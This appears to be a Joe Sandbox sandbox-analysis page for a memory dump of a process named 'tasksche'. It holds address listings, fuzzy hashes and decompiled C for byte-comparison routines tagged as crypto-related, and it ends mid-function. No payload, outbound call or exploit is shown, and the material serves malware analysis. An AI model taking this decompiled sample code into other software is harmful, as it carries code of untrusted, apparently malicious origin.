0x00416385
0x00000000
0x00000000
0x00000000
0x00416385
0x00415f5f
0x00415f64
0x00415f67
0x00415f79
0x00415f7f
0x00415f84
0x00415f87
0x00415f89
0x00415f8d
0x00415f94
0x00415f9a
0x00415fa0
0x00415fa8
0x00415faa
0x00415faa
0x00415fad
0x00415fad
0x00415f69
0x00415f6c
0x00415f6c
0x00415fb5
0x00415fb8
0x00415fbd
0x00415fc3
0x00415fc8
0x00415fcf
0x00415ffa
0x00415ffb
0x00416002
0x00416005
0x00416020
0x00416023
0x0041602d
0x0041602f
0x00416035
0x0041603f
0x00416044
0x0041604b
0x00416051
0x00416053
0x00416053
0x00416053
0x00416055
0x00000000
0x00416055
0x00416007
0x0041600e
0x0041600e
0x00416010
0x00000000
0x00000000
0x00416012
0x00416013
0x00416016
0x00416019
0x00000000
0x00000000
0x00000000
0x0041601b
0x0041601d
0x00000000
0x00415fd1
0x00415fd3
0x00415fd6
0x00415fe0
0x00415fe8
0x00415fed
0x00415ff0
0x0041605d
0x0041605d
0x00416060
0x00416072
0x00416078
0x0041607c
0x0041607f
0x00416081
0x00416190
0x00416190
0x00416193
0x00416199
0x0041619f
0x004161a2
0x004161a8
0x004161aa
0x004161ad
0x004161b3
0x004161b5
0x004161b5
0x004161b5
0x004161b5
0x004161b3
0x004161a8
0x004161bb
0x004161c1
0x004161c7
0x004161ca
0x004161cd
0x004161d0
0x004161d3
0x004161d8
0x004161da
0x004161e3
0x004161e9
0x004161ec
0x004161ee
0x00000000
0x004161f4
0x004161f4
0x004161f6
0x00000000
0x00000000
0x004161fc
0x00416204
0x00416207
0x0041620a
0x0041620e
0x00416211
0x00416214
0x00416217
0x00416274
0x00416277
0x00000000
0x00000000
0x0041627c
0x0041627c
0x0041627f
0x00416282
0x0041628a
0x0041628f
0x00416293
0x00416297
0x0041629b
0x0041629e
0x0041629e
0x0041629e
0x0041629e
0x00000000
0x00416282
0x00416219
0x0041621c
0x00000000
0x00000000
0x00416224
0x00416224
0x00416227
0x0041622a
0x0041622d
0x0041622f
0x00416231
0x00416235
0x00416237
0x0041623a
0x0041623d
0x00416240
0x00416243
0x00416246
0x00416249
0x0041624c
0x0041624f
0x00416252
0x00416255
0x00416258
0x0041625b
0x0041625e
0x00416261
0x00416264
0x00416267
0x00416267
0x00416267
0x00416267
0x0041626c
0x0041626f
0x00000000
0x0041626f
0x004161ee
0x00416087
0x0041608a
0x0041616d
0x00416174
0x0041617a
0x00416180
0x00416188
0x0041618a
0x0041618a
0x0041618d
0x00000000
0x0041618d
0x00416090
0x00416094
0x0041609b
0x004160a0
0x004160a8
0x004160b1
0x004160b7
0x004160b9
0x004160b9
0x004160bc
0x004160bc
0x004160c1
0x004160c6
0x004160cc
0x004160d1
0x004160d8
0x00416103
0x00416104
0x0041610b
0x0041610e
0x00416129
0x0041612c
0x00416136
0x00416138
0x0041613e
0x00416148
0x0041614d
0x00416154
0x0041615a
0x0041615c
0x0041615c
0x0041615c
0x0041615e
0x00000000
0x0041615e
0x00416110
0x00416117
0x00416117
0x00416119
0x00000000
0x00000000
0x0041611b
0x0041611c
0x0041611f
0x00416122
0x00000000
0x00000000
0x00000000
0x00416124
0x00416126
0x00000000
0x004160da
0x004160dc
0x004160df
0x004160e9
0x004160f1
0x004160f6
0x004160f9
0x00416166
0x00416166
0x00000000
0x00416166
0x004160d8
0x00416063
0x00000000
0x00416063
0x00415fcf
0x00415f49
0x00415f4c
0x00000000
0x00415f4c
0x00415eed
0x00415ef1
0x00415ef1
0x00415ef3
0x00000000
0x00000000
0x00415ef5
0x00415ef6
0x00415ef9
0x00415efc
0x00000000
0x00000000
0x00000000
0x00415efe
0x00415f00
0x00000000
0x00415f00
0x00415eb9
0x00415ebc
0x00415ec6
0x00415ece
0x00415ed3
0x00415ed6
0x00000000
0x00415ed6
0x00415e6a
0x00415e70
0x00000000
0x00000000
0x00415e74
0x00415e7f
0x00415e85
0x00000000
0x00000000
0x00415e8b
0x00000000
0x00000000
0x00415e93
0x00415e99
0x00000000
0x00000000
0x00000000
0x00415e99
0x00415de2
0x00415de2
0x00415de9
0x00415de9
0x0041639c
0x00000000
0x0041639c
0x00415dad
0x00415db9
0x00415dbd
0x00415dc4
0x00000000
0x00415dc6
0x00415dc6
0x00000000
0x00415dc6
0x00415dc4

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction ID: 136bcfac07b0c46142f126060f48d767d5d9002a5a6c7f55271a6c6e067ee92a
Opcode Fuzzy Hash: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction Fuzzy Hash: 8C72B070A04645DFCB19CF68C5806EDBBB1FF45308F2981AED8598B742C339E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041BCD9 Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041BCD9(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

0x0041bcd9
0x0041bcd9
0x0041bcdf
0x0041bd5f
0x0041bd61
0x0041bd63
0x00000000
0x00000000
0x0041bd69
0x0041bd6f
0x0041bdee
0x0041bdf0
0x0041bdf2
0x00000000
0x00000000
0x0041bdf8
0x0041bdfe
0x0041be7d
0x0041be7f
0x0041be81
0x00000000
0x00000000
0x0041be87
0x0041be8d
0x0041bf0c
0x0041bf0e
0x0041bf10
0x00000000
0x00000000
0x0041bf1c
0x0041bf9c
0x0041bf9e
0x0041bfa0
0x00000000
0x00000000
0x0041bfa6
0x0041bfac
0x0041c02b
0x0041c02d
0x0041c02f
0x00000000
0x00000000
0x0041c035
0x0041c03b
0x0041c0ba
0x0041c0bc
0x0041c0be
0x00000000
0x00000000
0x0041c0cc
0x0041c0ce
0x0041bcb1
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcc8
0x0041bcce
0x0041c0e7
0x0041c0e7
0x00000000
0x0041bcd4
0x00000000
0x0041bcd4
0x0041bcce
0x0041c0db
0x0041c0e1
0x00000000
0x00000000
0x00000000
0x0041c0e1
0x0041c044
0x0041c046
0x0041c05d
0x0041c065
0x0041c067
0x0041c07e
0x0041c086
0x0041c088
0x0041c09f
0x0041c0a7
0x0041c0a9
0x0041c0b6
0x0041c0b6
0x00000000
0x0041c0a9
0x0041c095
0x0041c099
0x00000000
0x00000000
0x00000000
0x0041c099
0x0041c074
0x0041c078
0x00000000
0x00000000
0x00000000
0x0041c078
0x0041c053
0x0041c057
0x00000000
0x00000000
0x00000000
0x0041c057
0x0041bfb5
0x0041bfb7
0x0041bfce
0x0041bfd6
0x0041bfd8
0x0041bfef
0x0041bff7
0x0041bff9
0x0041c010
0x0041c018
0x0041c01a
0x0041c027
0x0041c027
0x00000000
0x0041c01a
0x0041c006
0x0041c00a
0x00000000
0x00000000
0x00000000
0x0041c00a
0x0041bfe5
0x0041bfe9
0x00000000
0x00000000
0x00000000
0x0041bfe9
0x0041bfc4
0x0041bfc8
0x00000000
0x00000000
0x00000000
0x0041bfc8
0x0041bf26
0x0041bf28
0x0041bf3f
0x0041bf47
0x0041bf49
0x0041bf60
0x0041bf68
0x0041bf6a
0x0041bf81
0x0041bf89
0x0041bf8b
0x0041bf98
0x0041bf98
0x00000000
0x0041bf8b
0x0041bf77
0x0041bf7b
0x00000000
0x00000000
0x00000000
0x0041bf7b
0x0041bf56
0x0041bf5a
0x00000000
0x00000000
0x00000000
0x0041bf5a
0x0041bf35
0x0041bf39
0x00000000
0x00000000
0x00000000
0x0041bf39
0x0041be96
0x0041be98
0x0041beaf
0x0041beb7
0x0041beb9
0x0041bed0
0x0041bed8
0x0041beda
0x0041bef1
0x0041bef9
0x0041befb
0x0041bf08
0x0041bf08
0x00000000
0x0041befb
0x0041bee7
0x0041beeb
0x00000000
0x00000000
0x00000000
0x0041beeb
0x0041bec6
0x0041beca
0x00000000
0x00000000
0x00000000
0x0041beca
0x0041bea5
0x0041bea9
0x00000000
0x00000000
0x00000000
0x0041bea9
0x0041be07
0x0041be09
0x0041be20
0x0041be28
0x0041be2a
0x0041be41
0x0041be49
0x0041be4b
0x0041be62
0x0041be6a
0x0041be6c
0x0041be79
0x0041be79
0x00000000
0x0041be6c
0x0041be58
0x0041be5c
0x00000000
0x00000000
0x00000000
0x0041be5c
0x0041be37
0x0041be3b
0x00000000
0x00000000
0x00000000
0x0041be3b
0x0041be16
0x0041be1a
0x00000000
0x00000000
0x00000000
0x0041be1a
0x0041bd78
0x0041bd7a
0x0041bd91
0x0041bd99
0x0041bd9b
0x0041bdb2
0x0041bdba
0x0041bdbc
0x0041bdd3
0x0041bddb
0x0041bddd
0x0041bdea
0x0041bdea
0x00000000
0x0041bddd
0x0041bdc9
0x0041bdcd
0x00000000
0x00000000
0x00000000
0x0041bdcd
0x0041bda8
0x0041bdac
0x00000000
0x00000000
0x00000000
0x0041bdac
0x0041bd87
0x0041bd8b
0x00000000
0x00000000
0x00000000
0x0041bce1
0x0041bce1
0x0041bce5
0x0041bce9
0x0041bceb
0x0041bd02
0x0041bd02
0x0041bd06
0x0041bd0a
0x0041bd0c
0x0041bd23
0x0041bd23
0x0041bd27
0x0041bd2b
0x0041bd2d
0x0041bd44
0x0041bd44
0x0041bd48
0x0041bd4c
0x0041bd4e
0x0041bd54
0x0041bd57
0x0041bd5b
0x0041bd5b
0x00000000
0x0041bd4e
0x0041bd33
0x0041bd36
0x0041bd3a
0x0041bd3e
0x00000000
0x00000000
0x00000000
0x0041bd3e
0x0041bd12
0x0041bd15
0x0041bd19
0x0041bd1d
0x00000000
0x00000000
0x00000000
0x0041bd1d
0x0041bcf1
0x0041bcf4
0x0041bcf8
0x0041bcfc
0x00000000
0x00000000
0x00000000
0x0041bcfc
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: fa64fecedd4ee0fbc6ebc6d5fd45eff142ec883d8ec5514f9c97111b8272a84e
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 93D18E73C0E9B34A8735812D84582BBEE62AFD175031EC3E2DCE42F389D62B5D9196D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8B9 Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B8B9(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
